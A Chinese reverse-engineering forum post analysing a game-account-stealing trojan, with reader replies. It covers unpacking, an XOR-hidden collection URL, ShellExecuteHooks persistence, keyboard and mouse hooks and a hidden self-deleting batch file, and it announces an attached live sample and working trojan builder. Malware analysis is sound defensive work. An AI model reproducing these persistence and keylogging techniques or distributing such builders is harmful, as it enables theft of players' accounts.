某巨人木马分析文档&自写生成器
From:jjh1260 www.unpack.cn【文章标题】某巨人木马分析文档&自写生成器
【文章作者】JJH
【工具】OD DELPHI
附件内有WORD分析文档、木马标本、个人写的生成器
纯属娱乐,请勿用于非法用途
另本人不玩巨人,所以也没详细分析,有错误请指出,朋友说木马及生成器都有效
此木马不能过内存,调试请关闭杀软、使用安全卫士即可清除木马
目录
加壳分析
脱壳分析
EXE文件分析……………………………………………………………………………… …...
1、释放木马文件相关………………………………………………………………………
2、收信网址相关………………………………………………………………………………
3、注册表相关…………………………………………………………………………………
4、用LoadLibraryA将DLL加载并试图注入所有进程&HOOK相关……………………..
5、自删除(在系统临时目录下生成自删除的bat文件)……………………………………...
1、加壳分析PEID查壳:
UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo
Protection ID查壳:
Scanning -> E:\bak2\巨人小马.exe
File Type : Exe, Size : 14979 (03A83h) Bytes
-> File has 3715 (0E83h) bytes of appended data starting at offset 02C00h
[!] UPX compressed !
2、脱壳分析
简单UPX压缩壳用ESP定律手脱之,LordP完整DUMP,ImportREC修复下,脱壳后文件大小26,243(0x6683) Bytes,查壳显示Microsoft Visual C++ 6.0 编写
3、EXE文件分析⑴释放木马文件相关
%system32%\mgxzghlc.dll(先释放为mgxzghlc.tmp后通过MoveFileExA为mgxzghlc.dll)
//木马DLL,用于注入,8位文件名随机生成
%system32%\mgxzghlc.nls //$94字节 主要存放加密的收信网址
①调用GetSystemDirectoryA获取%system32%存于[]中
0040185C|.8D85 A0FBFFFF lea eax,//保存sys路径
00401862|.56 push esi ; /BufSize => 104 (260.)
00401863|.50 push eax ; |Buffer
00401864|.FF15 7C304000 call dword ptr ds:[<&KERNEL32.GetSystemD>; \GetSystemDirectoryA
②取时间做种子,用于生成随机数,最终生成8位长文件名,释放资源
00401CDE|.6A 00 push 0 ; /timer = NULL
00401CE0|.FF15 E8304000 call dword ptr ds:[<&MSVCRT.time>] ; \time
00401CE6|.50 push eax ; /seed = 49028184 (1224900996.)
00401CE7|.FF15 E4304000 call dword ptr ds:[<&MSVCRT.srand>] ; \srand
00401CED|.59 pop ecx
00401CEE|.33F6 xor esi,esi
00401CF0|.59 pop ecx
以下是生成文件名循环:
文件名长度为8,每一位根据如下算法生成:(rand() mod$1A) + $61
$61即a,$1A = 26,此算法即随机生成8位小写字母,作为释放的TMP及DLL文件的文件名
00401CF1|> /FF15 E0304000 call dword ptr ds:[<&MSVCRT.rand>] ; [rand
00401CF7|. |6A 1A push 1A
00401CF9|. |99 cdq
00401CFA|. |59 pop ecx
00401CFB|. |F7F9 idiv ecx
00401CFD|. |80C2 61 add dl,61
00401D00|. |8896 64424000 mov byte ptr ds:,dl
00401D06|. |46 inc esi
00401D07|. |83FE 08 cmp esi,8
00401D0A|.^\7C E5 jl short 巨人.00401CF1
/ /生成完整文件路径名:类似 %system32%\utjpwjnf.dll,%system32%\utjpwjnf.tmp
00401893|.50 push eax ; /src
00401894|.8D85 A0FBFFFF lea eax, ; |//sys路径
0040189A|.50 push eax ; |dest
0040189B|.E8 10090000 call <jmp.&MSVCRT.strcat> ; \strcat
004018C5|.C745 F4 2E646>mov ,6C6C642E //全局变量赋值6C6C642E即.dll
00401930|.8D45 EC lea eax,
00401933|.C745 EC 2E746>mov ,706D742E//全局变量赋值706D742E即.tmp
//在 system32目录下生成TMP文件
00401957|.C745 E4 44415>mov ,41544144//全局变量赋值41544144即DATA
(从Exe打包的资源中释放/ResourceType = "DATA"、ResourceName = 65)
//00401770|.FF15 60304000 call dword ptr ds:[<&KERNEL32.FindResour>; \FindResourceA
//0040177E|.FF15 5C304000 call dword ptr ds:[<&KERNEL32.LoadResour>; \LoadResource
//0040178C|.FF15 58304000 call dword ptr ds:[<&KERNEL32.LockResour>; \SetHandleCount
//0040179B|.FF15 54304000 call dword ptr ds:[<&KERNEL32.SizeofReso>; \SizeofResource
//004017C8|.FF15 84304000 call dword ptr ds:[<&KERNEL32.WriteFile>>; \WriteFile(把资源写进TMP文件)
③创建.nls文件
00401A6B|.50 push eax ; /src
00401A6C|.8D85 9CFAFFFF lea eax, ; |
00401A72|.50 push eax ; |dest
00401A73|.E8 FA060000 call <jmp.&MSVCRT.strcpy> ; \strcpy
00401A78|.8D45 DC lea eax,
00401A7B|.C745 DC 2E6E6>mov , 736C6E2E// 736C6E2E即.nls
00401A82|.50 push eax ; /src = ".nls"
00401A83|.8D85 9CFAFFFF lea eax, ; |
00401A89|.50 push eax ; |%system32%\alxvvskd"
00401A8A|.895D E0 mov ,ebx ; |
00401A8D|.E8 1E070000 call <jmp.&MSVCRT.strcat> ; \strcat
00401A92|.8D85 98F9FFFF lea eax,
00401A98|.50 push eax
00401A99|.8D85 9CFAFFFF lea eax,
00401A9F|.50 push eax
00401AA0|.E8 D9F9FFFF call 巨人.0040147E//调用CreateFileA创建.nls文件,并把EXE文件结尾$9C的网址相关加密数据写入.nls文件中
⑵收信网址相关
①密钥存放于:$2010处 即$FFFEFDFC
②读取自身EXE文件中数据校验,定位并读取结尾4字节,判断是否等于$BD43DBFE,定位结尾8字节处读取DWORD数据($9C), 再定位于结尾$9C处,即加密后asp网址存放位置
00401028|.FF15 88304000 call dword ptr ds:[<&KERNEL32.CreateFile>; \CreateFileA
//定位到结尾4字节处
0040103C|.8B1D 8C304000 mov ebx,dword ptr ds:[<&KERNEL32.SetFile>;kernel32.SetFilePointer
00401042|.6A 02 push 2 ; /Origin = FILE_END
00401044|.56 push esi ; |pOffsetHi => NULL
00401045|.6A FC push -4 ; |OffsetLo = FFFFFFFC (-4.)
00401047|.57 push edi ; |hFile
00401048|.FFD3 call ebx ; \SetFilePointer
//读取最后4字节判断是否等于$ BD43DBFE
0040105C|.FFD6 call esi ; \ReadFile
0040105E|.817D F4 FEDB4>cmp ,BD43DBFE
//定位并读取结尾4-8的4字节数据,此木马读取值为94
0040107E|.6A 02 push 2
00401080|.57 push edi
00401081|.6A F8 push -8
00401083|.FF75 08 push
00401086|.FFD3 call ebx ;kernel32.SetFilePointer
00401096|.FFD6 call esi ;kernel32.ReadFile
//分配94-8个字节内存空间,并从EXE文件中(结尾94-处)读取94-8个字节的ASP收信网址相关数据
004010BA|.50 push eax ; /size = 8C (140.)
004010BB|.FF15 BC304000 call dword ptr ds:[<&MSVCRT.malloc>] ; \malloc
004010DE|.FFD6 call esi ;kernel32.ReadFile
//以下收信网址解密
算法:把加密后的数据($8C长)按字节与密钥$FFFEFDFC对应字节异或
0040180A|> /8B45 08 /mov eax,
0040180D|. |8A19 |mov bl,byte ptr ds:
0040180F|. |03C2 |add eax,edx
00401811|. |3018 |xor byte ptr ds:,bl
00401813|. |41 |inc ecx
00401814|. |3BCE |cmp ecx,esi
00401816|. |72 02 |jb short 巨人.0040181A
00401818|. |8BCF |mov ecx,edi
0040181A|> |42 |inc edx
0040181B|. |3B55 0C |cmp edx,
0040181E|.^\7C EA \jl short 巨人.0040180A
⑶注册表相关
①注册CLSID值
CLSID: {432BDC7C-DE5B-43f4-AA81-E7F8AFB0182D}
\InprocServer32
类型: REG_SZ
字串:"C:\WINDOWS\system32\ alxvvskd.dll"
// {432BDC7C-DE5B-43f4-AA81-E7F8AFB0182D},汇编代码中字节对应此CLSID
004020FC|.C745 D4 7B343>mov ,3233347B ; |
00402103|.C745 D8 42444>mov ,37434442 ; |
0040210A|.C745 DC 432D4>mov ,45442D43 ; |
00402111|.C745 E0 35422>mov ,342D4235 ; |
00402118|.C745 E4 33663>mov ,2D346633 ; |
0040211F|.C745 E8 41413>mov ,31384141 ; |
00402126|.C745 EC 2D453>mov ,4637452D ; |
0040212D|.C745 F0 38414>mov ,42464138 ; |
00402134|.C745 F4 30313>mov ,32383130 ; |
0040213B|.C745 F8 447D0>mov ,7D44
//00401B8C|.FF15 00304000 call dword ptr ds:[<&ADVAPI32.RegOpenKeyA>>; \RegOpenKeyA
//00401BB2|.FF15 04304000 call dword ptr ds:[<&ADVAPI32.RegQueryValu>; \RegQueryValueA
//00401BEC|.FF15 0C304000 call dword ptr ds:[<&ADVAPI32.RegCloseKey>>; \RegCloseKey
②将木马文件的ID号添加到HOOK项中,使explorer.exe进程自动加载病毒文件
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks\
⑷调用LoadLibraryA将DLL加载试图注入所有进程&HOOK相关
00401C36|.50 push eax ; /"%system32%\alxvvskd.dll"
00401C37|.FF15 64304000 call dword ptr ds:[<&KERNEL32.LoadLibraryA>; \LoadLibraryA
//00401C98|.FF55 B4call ;alxvvskd.10002795 //dll中此函数用于安装钩子
100027AE 8B35 A4300010 mov esi,dword ptr ds:[<&USER32.Set>; USER32.SetWindowsHookExA
100027AE 8B35 A4300010mov esi,dword ptr ds:[<&USER32.SetWindowsH>; USER32.SetWindowsHookExA
100027B4 57 push edi //0 系统钩子
100027B5 FF35 44430010 push dword ptr ds: ; vldncjjo.10000000
100027BB 68 09280010 push vldncjjo.10002809
100027C0 6A 04 push 4 //WH_CALLWNDPROC = 4; //注入所有进程
100027C2 FFD6 call esiUSER32.SetWindowsHookExA
100027C4 57 push edi//0 系统钩子
100027C5 A3 4C430010 mov dword ptr ds:,eax
100027CA FF35 44430010 push dword ptr ds: ; vldncjjo.10000000
100027D0 68 53280010 push vldncjjo.10002853
100027D5 6A 02 push 2 //WH_KEYBOARD = 2;
100027D7 FFD6 call esiUSER32.SetWindowsHookExA
100027D9 57 push edi//0 系统钩子
100027DA A3 48430010 mov dword ptr ds:,eax
100027DF FF35 44430010 push dword ptr ds: ; vldncjjo.10000000
100027E5 68 2C280010 push vldncjjo.1000282C
100027EA 6A 07 push 7 //WH_MOUSE = 7;
100027EC FFD6 call esi USER32.SetWindowsHookExA
//依次安装3类系统钩子WH_CALLWNDPROC、WH_KEYBOARD、WH_MOUSE,按键马…
⑸自删除(在系统临时目录下生成自删除的bat文件)
//通过GetTempPathA获取系统TEMP目录,并生成形如3.tmp.bat的文件名
//00401532 .FF15 30304000 call dword ptr ds:[<&KERNEL32.GetTempPathA>; \GetTempPathA
//0040154A .FF15 2C304000 call dword ptr ds:[<&KERNEL32.GetTempFileN>; \GetTempFileNameA
//00401553 .C745 EC 2E626>mov dword ptr ss:,7461622E ;.bat
//通过GetModuleFileNameA获取EXE文件的全路径,用于写入bat文件
00401575 .FF15 28304000 call dword ptr ds:[<&KERNEL32.GetModuleFil>; \GetModuleFileNameA
0040157B .8D85 BCFEFFFF lea eax,dword ptr ss:
//以写方式打开bat文件并写入如下类似命令
:t
del "E:\newupx666\巨人\巨人.exe"
if exist "E:\newupx666\巨人\巨人.exe" goto t
del
00401581 .68 2C404000 push 巨人.0040402C ; /mode = "w"
00401586 .50 push eax ; |path
00401587 .FF15 D4304000 call dword ptr ds:[<&MSVCRT.fopen>] ; \fopen
// WinExec以SW_HIDE方式执行自删除bat文件
00401645 .6A 00 push 0 ; /ShowState = SW_HIDE
00401647 .50 push eax; ||CmdLine = "C:\DOCUME~1\jjhyou\LOCALS~1\Temp\3.tmp.bat"
00401648 .FF15 24304000 call dword ptr ds:[<&KERNEL32.WinExec>] ; \WinExec
0040164E .6A 00 push 0 ; /ExitCode = 0
//结束进程
00401650 .FF15 4C304000 call dword ptr ds:[<&KERNEL32.ExitProcess>>; \ExitProcess 又是一长篇,谢谢H大分析。学习之!:handshake 已经著名是转载啦! 虽然不是很看的懂...不过 我还是认真的会去看看...学习学习。。 又是一长篇,谢谢H大分析。学习之! ……昨天再水区那说……80后的具备的潜规则…………过500字的贴不看的……嘿嘿这个过了吧? 反正也看不懂 谢了!
不过这病毒并没有特别的技术在中间! LZ好厉害啊
页:
[1]